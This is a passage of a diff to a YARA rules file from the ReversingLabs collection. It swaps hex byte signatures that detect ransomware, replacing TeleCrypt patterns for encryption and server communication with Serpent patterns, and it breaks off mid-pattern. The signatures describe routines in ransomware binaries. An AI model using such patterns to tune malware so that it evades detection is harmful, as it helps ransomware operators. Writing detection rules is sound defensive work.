-            ?? 7E ?? 43 8D 85 ?? ?? ?? ?? 8D 55 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 8D 55 ?? B9 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 80 7C 1E
-            ?? ?? 75 ?? 80 3C 1E ?? 74 ?? 81 FB ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 33 C0 5A 59 59 64
-            89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C3
-        }
-		$encrypt_files_p1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ??
-            ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B D9 89 55 ?? 89 45 ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
-            89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ??
-            8B D0 4A 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80
-            FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 50
-            8B 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF
+		$encrypt_files = {
+            55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 8B ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 51 8D B3 ?? ?? ?? ?? 8B CB 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 50 8B 43 ?? FF D0 8D
+            45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B 43 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
+            B3 ?? ?? ?? ?? FF D0 85 C0 74 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B 43 ?? 6A
+            ?? 6A ?? 6A ?? 6A ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF D0 85 C0 75 ?? FF 75 ?? 8B 43
+            ?? FF D0 5E 33 C0 5B 8B E5 5D C3 A1 ?? ?? ?? ?? 57 8B 7D ?? 85 C0 75 ?? FF 15 ?? ??
+            ?? ?? A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? 85 C9 74
+            ?? 8B D1 33 C0 C1 E9 ?? F3 AB 8B CA 83 E1 ?? F3 AA 8B 7D ?? B9 ?? ?? ?? ?? 3B FE 76
+            ?? 8D 46 ?? 3B F8 73 ?? 8D 57 ?? 8D 70 ?? 8B FF 8A 06 8D 52 ?? 88 42 ?? 8D 76 ?? 49
+            75 ?? EB ?? 8B D7 2B D6 8A 06 8D 76 ?? 88 44 32 ?? 49 75 ?? E8 ?? ?? ?? ?? 89 83 ??
+            ?? ?? ?? 8D 4F ?? 8B 83 ?? ?? ?? ?? 89 47 ?? FF B3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 45 ?? FF 75 ?? 50 8B 43 ?? 57 6A ?? 6A ?? 6A ?? FF 75 ?? FF D0 85 C0 75 ?? A1
+            ?? ?? ?? ?? 85 C0 75 ?? A1 ?? ?? ?? ?? FF D0 A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ??
+            ?? ?? FF 75 ?? 8B 43 ?? FF D0 5F 5E 33 C0 5B 8B E5 5D C3 FF 75 ?? 8D 45 ?? 57 50 E8
+            ?? ?? ?? ?? 50 8D 8B ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? A1 ?? ?? ??
+            ?? 85 C0 75 ?? A1 ?? ?? ?? ?? FF D0 A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ?? ?? ?? FF
+            75 ?? 8B 43 ?? FF D0 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3
         }
-		$encrypt_files_p2 = {
-            75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ??
-            ?? 8B C6 83 C8 ?? 3B C6 75 ?? 80 FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B
-            45 ?? 50 8B 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? EB ?? FF
-            75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B
-            15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$search_files = {
+            55 8B EC 83 EC ?? 53 56 57 8B F9 68 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 85 C0 0F 84
+            ?? ?? ?? ?? 8B 47 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ??
+            FF D0 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 4F ?? 8D 45 ?? 50 0F 57 C0 53 66 0F 13 45
+            ?? FF D1 85 C0 0F 84 ?? ?? ?? ?? 8B 75 ?? 8B C6 0B 45 ?? 0F 84 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 6A ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? FF
+            72 ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 87 ?? ?? ?? ??
+            8B 55 ?? 8D 4A ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? FF 70 ?? 50 FF 31 8D 4D ?? E8 ?? ??
+            ?? ?? 8B 45 ?? 83 C0 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ??
+            FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 75 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 45 ?? 85 C0
+            7C ?? 7F ?? 81 FE ?? ?? ?? ?? 72 ?? 50 8B 45 ?? 56 53 8B 1D ?? ?? ?? ?? 33 F6 51 8D
+            48 ?? 89 65 ?? 39 31 7C ?? 51 8D 70 ?? FF D3 8B 4D ?? 8D 46 ?? 51 33 F6 89 65 ?? 89
+            01 8B 45 ?? 39 70 ?? 8D 48 ?? 7C ?? 51 8D 70 ?? FF D3 8B 4D ?? 8D 46 ?? 89 01 8B CF
+            E8 ?? ?? ?? ?? 8B 75 ?? 8B F8 E9 ?? ?? ?? ?? 8B 75 ?? 8B 47 ?? 6A ?? 6A ?? 6A ?? 6A
+            ?? 6A ?? 68 ?? ?? ?? ?? 56 FF D0 89 45 ?? 83 F8 ?? 75 ?? 8B 47 ?? 53 FF D0 33 FF E9
+            ?? ?? ?? ?? 51 8D 87 ?? ?? ?? ?? 8B CF 50 E8 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ??
+            ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? C7 45
+            ?? ?? ?? ?? ?? 51 FF 75 ?? 50 8B 47 ?? 53 FF D0 85 C0 75 ?? 8B 4D ?? E9 ?? ?? ?? ??
+            8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ??
+            ?? ?? ?? ?? 50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 85 C0 74 ?? E8 ?? ?? ?? ??
+            8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 8B 47 ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? FF D0
+            85 C0 75 ?? 8B 4D ?? EB ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 8B 47 ?? 6A ?? 6A ?? 6A ??
+            FF 75 ?? FF D0 85 C0 75 ?? 8B 4D ?? EB ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF
+            75 ?? 8B 45 ?? 50 FF 75 ?? 8B 47 ?? FF D0 8B 4D ?? 85 C0 74 ?? 8B 45 ?? 3B 45 ?? 74
+            ?? E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 8B 47 ?? 53 FF D0 FF 75 ?? 8B 47 ?? FF D0
+            8B 47 ?? 56 FF D0 33 FF E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 FF 75
+            ?? 8B 47 ?? FF D0 8B 47 ?? 53 FF D0 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ??
+            ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ??
+            ?? ?? ?? 6A ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 45
+            ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 85 C0 75 ??
+            8B 47 ?? 56 FF D0 33 FF EB ?? BF ?? ?? ?? ?? 83 C6 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ??
+            85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 1D ?? ??
+            ?? ?? 56 6A ?? 50 FF D3 EB ?? 8B 47 ?? 53 FF D0 33 FF 8B 1D ?? ?? ?? ?? 8B 75 ?? 83
+            C6 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ??
+            ?? ?? ?? A3 ?? ?? ?? ?? 56 6A ?? 50 FF D3 8B C7 5F 5E 5B 8B E5 5D C2
         }
-		$main_routine = {
-            8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55
-            ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? E8 ??
-            ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 8D 55 ?? 66
-            B8 ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B1 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ??
-            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B
-            0D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 8B 08 FF 51 ?? 8D 55 ??
-            33 C0 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 8B 08 FF
-            51
+		$previous_encrypt_files = {
+            0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8D 4D
+            ?? 89 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF
+            77 ?? FF D3 8D 4D ?? 89 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ??
+            ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6
+            0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0
+            8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D
+            4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ??
+            FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ??
+            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF
+            30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ??
+            ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89
+            B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ??
+            ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6
+            0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0
+            8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D
+            4D ?? E8 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7
+            ?? ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ??
+            ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D
+            4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ??
+            ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ??
+            ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D 4D
+            ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ??
+            E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 6A ?? 8D B7 ?? ?? ?? ?? FF 30 8B 47 ?? 6A ?? 56 FF D0 85 C0 8D 4D ?? 0F 94 C3 E8
+            ?? ?? ?? ?? 84 DB 74 ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ??
+            FF 30 8B 47 ?? 6A ?? 56 FF D0 85 C0 8D 4D ?? 0F 94 C3 E8 ?? ?? ?? ?? 84 DB 0F 85 ??
+            ?? ?? ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($main_routine) and ( all of ($find_files_*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and $search_files and $previous_encrypt_files and $encrypt_files
 }
-rule REVERSINGLABS_Win32_Ransomware_Telecrypt : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Serpent : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects TeleCrypt ransomware."
+		description = "Yara rule that detects Serpent ransomware."
 		author = "ReversingLabs"
-		id = "c4eada2d-72c0-5efe-bf2b-8f053348d89d"
+		id = "0757ad7c-b2b1-5323-960a-55ffe3eaed12"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.TeleCrypt.yara#L1-L109"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "9d856eae4369cd7ba1d88bd6ef37931e069127e2c05a84a44f5274f681e83fc0"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Serpent.yara#L1-L122"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "5e1917e8d23a5edc65ac423f3d18cc78c3848bd6c1ccc67d052eb37172857081"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -37328,107 +38572,123 @@ rule REVERSINGLABS_Win32_Ransomware_Telecrypt : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "TeleCrypt"
+		tc_detection_name = "Serpent"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_file = {
-            57 E8 ?? ?? ?? ?? 89 03 EB ?? 6A ?? E8 ?? ?? ?? ?? 89 03 66 83 BB ?? ?? ?? ?? ?? 0F
-            85 ?? ?? ?? ?? 8B 03 50 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 66 81 7B ?? ?? ?? 75 ?? E8 ??
-            ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? 0F B7 05 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 43 ?? ?? ??
-            ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 6A ?? 6A ?? 50 8D 43 ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 75
-            ?? 66 C7 43 ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 E9 ?? ?? ?? ?? 89 03 66 81 7B ?? ?? ?? 0F
-            85 ?? ?? ?? ?? 66 C7 43 ?? ?? ?? 6A ?? 8B 03 50 E8 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ??
-            8B C3 E8 ?? ?? ?? ?? 8B F0 E9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 85 FF 7D ?? 33 FF 6A ??
-            6A ?? 57 8B 03 50 E8 ?? ?? ?? ?? 40 74 ?? 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 83
-            ?? ?? ?? ?? 50 8B 03 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B C3 E8 ?? ?? ?? ?? 8B F0 E9 ??
-            ?? ?? ?? F6 43 ?? ?? 74 ?? 83 3C 24 ?? 76 ?? 8B 14 24 4A 85 D2 72 ?? 42 33 FF 8D 83
-            ?? ?? ?? ?? 80 38 ?? 75 ?? 6A ?? 6A ?? 8B C7 2B 44 24 ?? 50 8B 03 50 E8 ?? ?? ?? ??
-            40 74 ?? 8B 03 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B C3 E8 ?? ?? ?? ?? 8B F0 EB ?? 47 40
-            4A 75 ?? 66 83 BB ?? ?? ?? ?? ?? 75 ?? 0F B7 05 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? 66
-            81 7B ?? ?? ?? 74 ?? 8B 03 50 E8
-        }
-		$server_communication = {
-            6A ?? 8D 45 ?? 50 8B 45 ?? 8B 80 ?? ?? ?? ?? 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A
-            ?? 8D 45 ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ??
-            8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 80 ?? ?? ?? ??
-            33 C9 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? B2 ?? A1 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 33 DB 8B CB B8 ?? ?? ??
-            ?? D3 E0 85 F0 74 ?? 8D 45 ?? 8B D3 66 83 C2 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 43 83 FB ?? 75 ?? A1 ?? ??
-            ?? ?? 8B 10 FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 8D 4D ?? 8B D3 A1 ?? ?? ?? ?? 8B
-            38 FF 57 ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 43 4E 75 ?? A1 ?? ?? ?? ?? 8B 10
-            FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 6A ?? 6A ?? 8D 4D ?? 8B D3 A1 ?? ?? ?? ?? 8B
-            38 FF 57 ?? 8B 45 ?? 8B 0D ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 43 4E 75 ?? 8D 55 ?? B8
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ??
-            ?? ?? 8B 08 FF 91 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 8B 80 ?? ?? ?? ?? 33 C9 BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55
-            ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8
-        }
-		$server_communication_1 = {
-            55 8B EC 33 C9 51 51 51 51 51 53 8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A
-            ?? 8D 45 ?? 50 33 C9 BA ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ??
-            50 8D 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 91 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ??
-            ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 33 C9 8B 83 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 33 D2 8B 83 ?? ?? ?? ?? 8B 08 FF 91 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$do_dll_stuff_and_create_thread = {
+            68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 89 D2 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 89 FF 90 90 6A ?? 53 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B 75 ?? BA
